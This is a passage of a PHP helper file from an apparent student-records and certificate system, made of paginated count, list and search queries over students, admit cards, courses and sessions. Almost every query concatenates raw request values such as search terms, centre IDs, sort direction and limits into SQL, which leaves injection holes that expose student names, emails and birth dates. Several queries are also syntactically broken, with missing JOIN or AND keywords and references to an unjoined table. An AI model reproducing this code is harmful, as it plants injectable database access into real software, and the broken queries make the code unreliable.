$ci->db->query('select count(*) as count FROM `admit_card` ad left join students s on s.id=ad.AC_STUDENT_ID left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on ad.AC_SESSION=se.id LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION WHERE ad.AC_MARKSHEET_STATUS="1" AND c.COURSE_MARKSHEET="1" '); }else{ $query = $ci->db->query('select count(*) as count FROM `admit_card` ad left join students s on s.id=ad.AC_STUDENT_ID left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on ad.AC_SESSION=se.id LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION where s.center_id="'.$center.'" AND ad.AC_MARKSHEET_STATUS="1" AND c.COURSE_MARKSHEET="1" '); } $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_download_marksheet($limit, $start, $order, $dir,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT *,s.name as name, s.id as STUDENT_ID, ad.AC_ID as card_id,s.id as id,s.dob as dob,ad.AC_DURATION as course_year FROM `admit_card` ad left join students s on s.id=ad.AC_STUDENT_ID left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on ad.AC_SESSION=se.id LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION WHERE ad.AC_MARKSHEET_STATUS="1" AND c.COURSE_MARKSHEET="1" ORDER BY ad.AC_ID ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); // $query = $ci->db->query('SELECT *,ad.id as card_id , students.id as id,students.status as status, students.name as student_name,students.dob as student_dob from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join session_year se on students.session=se.id left join admit_card ad on ad.center_id=students.center_id ORDER BY students.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); }else{ //$query = $ci->db->query('SELECT *,ad.id as card_id , students.id as id,students.status as status , students.name as student_name,students.dob as student_dob from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join session_year se on students.session=se.id left join admit_card ad on ad.center_id=students.center_id where students.center_id="'.$center.'" ORDER BY students.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); $query = $ci->db->query('SELECT *,s.name as name,s.id as STUDENT_ID, ad.AC_ID as card_id,s.id as id,ad.AC_DURATION as course_year,s.dob as dob FROM `admit_card` ad left join students s on s.id=ad.AC_STUDENT_ID left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on ad.AC_SESSION=se.id LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION where s.center_id="'.$center.'" AND ad.AC_MARKSHEET_STATUS="1" AND c.COURSE_MARKSHEET="1" ORDER BY ad.AC_ID ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); } if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function download_marksheet_list_search($limit, $start, $search, $col, $dir,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT *,s.name as name,s.id as STUDENT_ID, ad.AC_ID as card_id,s.id as id,ad.AC_DURATION as course_year,s.dob as dob FROM `admit_card` ad left join students s on s.id=ad.AC_STUDENT_ID left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on ad.AC_SESSION=se.id LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION where ( s.enrollment_no LIKE "' . $search . '%" OR s.name LIKE "' . $search . '%" OR s.email LIKE "' . $search . '%" OR s.center_id LIKE "' . $search . '%" ) AND ad.AC_MARKSHEET_STATUS="1" AND c.COURSE_MARKSHEET="1" ORDER BY ad.AC_ID DESC limit ' . $limit . ' OFFSET ' . $start . ''); }else{ $query = $ci->db->query('SELECT *,s.name as name,s.id as STUDENT_ID, ad.AC_ID as card_id,s.id as id,ad.AC_DURATION as course_year,s.dob as dob FROM `admit_card` ad left join students s on s.id=ad.AC_STUDENT_ID left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on ad.AC_SESSION=se.id LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION where ( s.enrollment_no LIKE "' . $search . '%" OR s.name LIKE "' . $search . '%" OR s.email LIKE "' . $search . '%" OR s.center_id LIKE "' . $search . '%" ) and s.center_id="'.$center.'" AND ad.AC_MARKSHEET_STATUS="1" AND c.COURSE_MARKSHEET="1" ORDER BY ad.AC_ID DESC limit ' . $limit . ' OFFSET ' . $start . ''); } if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function download_marksheet_list_search_count($search,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT count(*) as count FROM `admit_card` ad left join students s on s.id=ad.AC_STUDENT_ID join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on ad.AC_SESSION=se.id LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION where ( s.enrollment_no LIKE "' . $search . '%" OR s.name LIKE "' . $search . '%" OR s.email LIKE "' . $search . '%" OR s.center_id LIKE "' . $search . '%" ) AND ad.AC_MARKSHEET_STATUS="1" AND c.COURSE_MARKSHEET="1" ORDER BY ad.AC_ID DESC'); }else{ $query = $ci->db->query('SELECT count(*) as count FROM `admit_card` ad left join students s on s.id=ad.AC_STUDENT_ID left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on ad.AC_SESSION=se.id LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION where ( s.enrollment_no LIKE "' . $search . '%" OR s.name LIKE "' . $search . '%" OR s.email LIKE "' . $search . '%" OR s.center_id LIKE "' . $search . '%" ) and s.center_id="'.$center.'" AND ad.AC_MARKSHEET_STATUS="1" AND c.COURSE_MARKSHEET="1" ORDER BY ad.AC_ID DESC'); } $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*---------------------------------------------------- end download marksheet -------------------------------------------------*/ /*---------------------------------------------------- start download certificate -------------------------------------------*/ function count_download_certificate($center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('select count(*) as count FROM students s left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id WHERE c.COURSE_CERTIFICATE="1" AND s.STUDENT_CERTFICATE=1 '); }else{ $query = $ci->db->query('select count(*) as count FROM students s left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id where s.center_id="'.$center.'" AND c.COURSE_CERTIFICATE="1" AND s.STUDENT_CERTFICATE=1 '); } $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_download_certificate($limit, $start, $order, $dir,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT *,s.name as name, s.id as STUDENT_ID, s.id as id,s.dob as dob FROM students s left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id WHERE c.COURSE_CERTIFICATE="1" AND s.STUDENT_CERTFICATE=1 ORDER BY s.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); // $query = $ci->db->query('SELECT *,ad.id as card_id , students.id as id,students.status as status, students.name as student_name,students.dob as student_dob from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join session_year se on students.session=se.id left join admit_card ad on ad.center_id=students.center_id ORDER BY students.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); }else{ //$query = $ci->db->query('SELECT *,ad.id as card_id , students.id as id,students.status as status , students.name as student_name,students.dob as student_dob from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join session_year se on students.session=se.id left join admit_card ad on ad.center_id=students.center_id where students.center_id="'.$center.'" ORDER BY students.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); $query = $ci->db->query('SELECT *,s.name as name,s.id as STUDENT_ID, s.id as id,s.dob as dob FROM students s left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id where s.center_id="'.$center.'" c.COURSE_CERTIFICATE="1" AND s.STUDENT_CERTFICATE=1 ORDER BY s.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); } if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function download_certificate_list_search($limit, $start, $search, $col, $dir,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT *,s.name as name,s.id as STUDENT_ID, s.id as id,s.dob as dob FROM students s left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id where ( s.enrollment_no LIKE "' . $search . '%" OR s.name LIKE "' . $search . '%" OR s.email LIKE "' . $search . '%" OR s.center_id LIKE "' . $search . '%" ) AND c.COURSE_CERTIFICATE="1" AND s.STUDENT_CERTFICATE=1 ORDER BY s.id DESC limit ' . $limit . ' OFFSET ' . $start . ''); }else{ $query = $ci->db->query('SELECT *,s.name as name,s.id as STUDENT_ID,s.id as id,s.dob as dob FROM students s left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id where ( s.enrollment_no LIKE "' . $search . '%" OR s.name LIKE "' . $search . '%" OR s.email LIKE "' . $search . '%" OR s.center_id LIKE "' . $search . '%" ) and s.center_id="'.$center.'" AND c.COURSE_CERTIFICATE="1" AND s.STUDENT_CERTFICATE=1 ORDER BY s.id DESC limit ' . $limit . ' OFFSET ' . $start . ''); } if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function download_certificate_list_search_count($search,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT count(*) as count FROM students s left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id where ( s.enrollment_no LIKE "' . $search . '%" OR s.name LIKE "' . $search . '%" OR s.email LIKE "' . $search . '%" OR s.center_id LIKE "' . $search . '%" ) AND c.COURSE_CERTIFICATE="1" AND s.STUDENT_CERTFICATE=1 ORDER BY s.id DESC'); }else{ $query = $ci->db->query('SELECT count(*) as count FROM students s left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id where ( s.enrollment_no LIKE "' . $search . '%" OR s.name LIKE "' . $search . '%" OR s.email LIKE "' . $search . '%" OR s.center_id LIKE "' . $search . '%" ) and s.center_id="'.$center.'" AND c.COURSE_CERTIFICATE="1" AND s.STUDENT_CERTFICATE=1 ORDER BY s.id DESC'); } $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*---------------------------------------------------- end download certificate -------------------------------------------------*/ /*---------------------------------------------------- start download tc -------------------------------------------*/ function count_download_tc($center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('select count(*) as count FROM `admit_card` ad left join students s on s.id=ad.AC_STUDENT_ID left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION WHERE ad.AC_MARKSHEET_STATUS="1" AND c.COURSE_TC="1" AND s.STUDENT_TC=1 '); }else{ $query = $ci->db->query('select count(*) as count FROM `admit_card` ad left join students s on s.id=ad.AC_STUDENT_ID left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION where s.center_id="'.$center.'" AND ad.AC_MARKSHEET_STATUS="1" AND c.COURSE_TC="1" AND s.STUDENT_TC=1 '); } $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_download_tc($limit, $start, $order, $dir,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT *,s.name as name, s.id as STUDENT_ID, s.id as id,s.dob as dob FROM students s left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id WHERE c.COURSE_TC="1" AND s.STUDENT_TC=1 ORDER BY s.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); // $query = $ci->db->query('SELECT *,ad.id as card_id , students.id as id,students.status as status, students.name as student_name,students.dob as student_dob from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join session_year se on students.session=se.id left join admit_card ad on ad.center_id=students.center_id ORDER BY students.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); }else{ //$query = $ci->db->query('SELECT *,ad.id as card_id , students.id as id,students.status as status , students.name as student_name,students.dob as student_dob from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join session_year se on students.session=se.id left join admit_card ad on ad.center_id=students.center_id where students.center_id="'.$center.'" ORDER BY students.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); $query = $ci->db->query('SELECT *,s.name as name,s.id as STUDENT_ID, s.id as id,s.dob as dob FROM students s on s.id=ad.AC_STUDENT_ID left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id where s.center_id="'.$center.'" AND c.COURSE_TC="1" AND s.STUDENT_TC=1 ORDER BY s.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); } if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function download_tc_list_search($limit, $start, $search, $col, $dir,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT *,s.name as name,s.id as STUDENT_ID, s.id as id,s.dob as dob FROM students s courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id where ( s.enrollment_no LIKE "' . $search . '%" OR s.name LIKE "' . $search . '%" OR s.email LIKE "' . $search . '%" OR s.center_id LIKE "' . $search . '%" ) AND c.COURSE_TC="1" AND s.STUDENT_TC=1 ORDER BY s.id DESC limit ' . $limit . ' OFFSET ' . $start . ''); }else{ $query = $ci->db->query('SELECT *,s.name as name,s.id as STUDENT_ID, s.id as id,s.dob as dob FROM students s courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id where ( s.enrollment_no LIKE "' . $search . '%" OR s.name LIKE "' . $search . '%" OR s.email LIKE "' . $search . '%" OR s.center_id LIKE "' . $search . '%" ) and s.center_id="'.$center.'" AND c.COURSE_TC="1" AND s.STUDENT_TC=1 ORDER BY s.id DESC limit ' . $limit . ' OFFSET ' . $start . ''); } if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function download_tc_list_search_count($search,$center) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT count(*) as count FROM students s courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id where ( s.enrollment_no LIKE "' . $search . '%" OR s.name LIKE "' . $search . '%" OR s.email LIKE "' . $search . '%" OR s.center_id LIKE "' . $search . '%" ) AND c.COURSE_TC="1" AND s.STUDENT_TC=1 ORDER BY ad.AC_ID DESC'); }else{ $query = $ci->db->query('SELECT count(*) as count FROM students s courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION where ( s.enrollment_no LIKE "' . $search . '%" OR s.name LIKE "' . $search . '%" OR s.email LIKE "' . $search . '%" OR s.center_id LIKE "' . $search . '%" ) and s.center_id="'.$center.'" AND c.COURSE_TC="1" AND s.STUDENT_TC=1 ORDER BY s.id DESC'); } $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function get_all_states() { $ci = &get_instance(); $ci->load->database(); $sql = "select * from state"; $query = $ci->db->query($sql); $row = $query->result(); if (!empty($row)) { return $row; } else { return ''; } } /*---------------------------------------------------- end download marksheet -------------------------------------------------*/ function check_category_name_exist($brandid,$category) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * from `categorylist` where BRAND_ID="' . $brandid . '" AND CATEGORY_NAME="'.$category.'" '); $res = $query->result(); if (!empty($res)) { return true; } else { return false; } } function active_company() { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query("SELECT * FROM `business_settings` LEFT JOIN centers ON centers.id=business_settings.value WHERE business_settings.type='company_name'"); $res = $query->row(); if (!empty($res)) { return $res; } else { return 0; } } /*------------- START BATCH LIST --------------------*/ function count_all_exam_schedule_list() { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `exam_schedule_list` LEFT JOIN courses ON courses.id=exam_schedule_list.ESL_COURSE_ID LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=exam_schedule_list.ESL_DURATION LEFT JOIN batch_session ON batch_session.BATCH_ID=exam_schedule_list.ESL_BATCH_ID LEFT JOIN session_year ON session_year.id=exam_schedule_list.ESL_SESSION_ID GROUP BY exam_schedule_list.ESL_COURSE_ID,exam_schedule_list.ESL_BATCH_ID,exam_schedule_list.ESL_DURATION '); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_exam_schedule_list($limit, $start, $order, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT *,session_year.id as AC_SESSION FROM `exam_schedule_list` LEFT JOIN courses ON courses.id=exam_schedule_list.ESL_COURSE_ID LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=exam_schedule_list.ESL_DURATION LEFT JOIN batch_session ON batch_session.BATCH_ID=exam_schedule_list.ESL_BATCH_ID LEFT JOIN session_year ON session_year.id=exam_schedule_list.ESL_SESSION_ID GROUP BY exam_schedule_list.ESL_COURSE_ID,exam_schedule_list.ESL_BATCH_ID,exam_schedule_list.ESL_DURATION ORDER BY exam_schedule_list.ESL_ID ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function exam_schedule_list_search($limit, $start, $search, $col, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT *,session_year.id as AC_SESSION FROM `exam_schedule_list` LEFT JOIN courses ON courses.id=exam_schedule_list.ESL_COURSE_ID LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=exam_schedule_list.ESL_DURATION LEFT JOIN batch_session ON batch_session.BATCH_ID=exam_schedule_list.ESL_BATCH_ID LEFT JOIN session_year ON session_year.id=exam_schedule_list.ESL_SESSION_ID where ( batch_session.BATCH_NAME LIKE "' . $search . '%" ) GROUP BY exam_schedule_list.ESL_COURSE_ID,exam_schedule_list.ESL_BATCH_ID,exam_schedule_list.ESL_DURATION ORDER BY exam_schedule_list.ESL_ID ASC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function exam_schedule_list_search_count($search) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `exam_schedule_list` LEFT JOIN courses ON courses.id=exam_schedule_list.ESL_COURSE_ID LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=exam_schedule_list.ESL_DURATION LEFT JOIN batch_session ON batch_session.BATCH_ID=exam_schedule_list.ESL_BATCH_ID LEFT JOIN session_year ON session_year.id=exam_schedule_list.ESL_SESSION_ID where ( batch_session.BATCH_NAME LIKE "' . $search . '%" ) GROUP BY exam_schedule_list.ESL_COURSE_ID,exam_schedule_list.ESL_BATCH_ID,exam_schedule_list.ESL_DURATION ORDER BY exam_schedule_list.ESL_ID ASC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*--------------- END OF BATCH LIST -------------------*/ function count_assigned_admit_card($center,$course_id,$batch_id,$session_id,$duration_id) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('select count(*) as count FROM `admit_card` ad left join students s on s.id=ad.AC_STUDENT_ID left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION where ad.AC_DURATION ="'.$duration_id.'" and ad.AC_COURSE="'.$course_id.'" AND s.pay_status=1'); }else{ $query = $ci->db->query('select count(*) as count FROM `admit_card` ad left join students s on s.id=ad.AC_STUDENT_ID left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id LEFT JOIN course_duration_list ON course_duration_list.CDL_ID=ad.AC_DURATION where ad.center_id="'.$center.'" and ad.AC_DURATION ="'.$duration_id.'" and ad.AC_COURSE="'.$course_id.'" AND s.Batch="'.$batch_id.'" AND s.pay_status=1 '); } $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_assigned_admit_card($limit, $start, $order, $dir,$center,$course_id,$batch_id,$session_id,$duration_id) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT *,s.name as name,s.id as STUDENT_ID,s.id as id,s.dob as dob FROM students s left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id where s.course_id="'.$course_id.'" AND s.Batch="'.$batch_id.'" AND s.pay_status=1 ORDER BY s.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); // $query = $ci->db->query('SELECT *,ad.id as card_id , students.id as id,students.status as status, students.name as student_name,students.dob as student_dob from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join session_year se on students.session=se.id left join admit_card ad on ad.center_id=students.center_id where admit_card.AC_DURATION ="'.$duration_id.'" and admit_card.AC_COURSE="'.$course_id.'" AND students.Batch="'.$batch_id.'" AND students.session="'.$session_id.'" ORDER BY students.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); }else{ //$query = $ci->db->query('SELECT *,ad.id as card_id , students.id as id,students.status as status , students.name as student_name,students.dob as student_dob from students left join state on state.STATE_ID=students.state left join district on district.DISTRICT_ID=students.distric left join centers on centers.id=students.center_id left join courses on courses.id=students.course_id left join session_year se on students.session=se.id left join admit_card ad on ad.center_id=students.center_id where students.center_id="'.$center.'" ORDER BY students.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); $query = $ci->db->query('SELECT *,s.name as name,s.id as STUDENT_ID,s.id as id,s.dob as dob FROM students s left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id where s.course_id="'.$course_id.'" AND s.Batch="'.$batch_id.'" AND s.pay_status=1 ORDER BY s.id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); } if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function create_assigned_card_list_search($limit, $start, $search, $col, $dir,$center,$course_id,$batch_id,$session_id,$duration_id) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT *,s.name as name,s.id as STUDENT_ID,s.id as id,s.dob as dob FROM students s left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id where ( s.enrollment_no LIKE "' . $search . '%" OR s.name LIKE "' . $search . '%" OR s.email LIKE "' . $search . '%" OR s.center_id LIKE "' . $search . '%" ) and s.course_id="'.$course_id.'" AND s.Batch="'.$batch_id.'" AND s.pay_status=1 ORDER BY s.id DESC limit ' . $limit . ' OFFSET ' . $start . ''); }else{ $query = $ci->db->query('SELECT *,s.name as name,s.id as STUDENT_ID,s.id as id,s.dob as dob FROM students s left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id where ( s.enrollment_no LIKE "%' . $search . '%" OR s.name LIKE "' . $search . '%" OR s.email LIKE "' . $search . '%" OR s.center_id LIKE "' . $search . '%" ) and s.course_id="'.$course_id.'" AND s.Batch="'.$batch_id.'" AND s.pay_status=1 ORDER BY s.id DESC limit ' . $limit . ' OFFSET ' . $start . ''); } if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function create_assigned_card_list_search_count($search,$center,$course_id,$batch_id,$session_id,$duration_id) { $ci = &get_instance(); $ci->load->database(); if($center == 'all'){ $query = $ci->db->query('SELECT count(*) as count FROM students s left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id where ( s.enrollment_no LIKE "' . $search . '%" OR s.name LIKE "' . $search . '%" OR s.email LIKE "' . $search . '%" OR s.center_id LIKE "' . $search . '%" ) and s.course_id="'.$course_id.'" AND s.Batch="'.$batch_id.'" AND s.pay_status=1 ORDER BY s.id DESC'); }else{ $query = $ci->db->query('SELECT count(*) as count FROM students s left join courses c on c.id=s.course_id left join centers ce on ce.id=s.center_id left join session_year se on s.session=se.id where ( s.enrollment_no LIKE "%' . $search . '%" OR s.name LIKE "' . $search . '%" OR s.email LIKE "' . $search . '%" OR s.center_id LIKE "' . $search . '%" ) and s.course_id="'.$course_id.'" AND s.Batch="'.$batch_id.'" AND s.pay_status=1 ORDER BY s.id DESC'); } $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*------------- START BATCH LIST --------------------*/ function count_all_batch_type() { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `batch_session`'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_batch_type($limit, $start, $order, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * FROM `batch_session` ORDER BY BATCH_ID ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function batch_type_search($limit, $start, $search, $col, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * from `batch_session` where ( BATCH_NAME LIKE "' . $search . '%" ) ORDER BY BATCH_ID ASC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function batch_type_search_count($search) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from `batch_session` where ( BATCH_NAME LIKE "' . $search . '%" ) ORDER BY BATCH_ID ASC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*--------------- END OF BATCH LIST -------------------*/ function count_all_session_type() { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count FROM `session_year`'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } function all_session_type($limit, $start, $order, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * FROM `session_year` ORDER BY id ' . $dir . ' limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function session_type_search($limit, $start, $search, $col, $dir) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT * from `session_year` where ( start LIKE "' . $search . '%" ) ORDER BY id ASC limit ' . $limit . ' OFFSET ' . $start . ''); if ($query->num_rows() > 0) { return $query->result(); } else { return null; } } function session_type_search_count($search) { $ci = &get_instance(); $ci->load->database(); $query = $ci->db->query('SELECT count(*) as count from `session_year` where ( start LIKE "' . $search . '%" ) ORDER BY id ASC'); $res = $query->result(); if (!empty($res)) { return $res[0]->count; } else { return 0; } } /*-------------------------- end program -------------------------------------------------------*/ ?>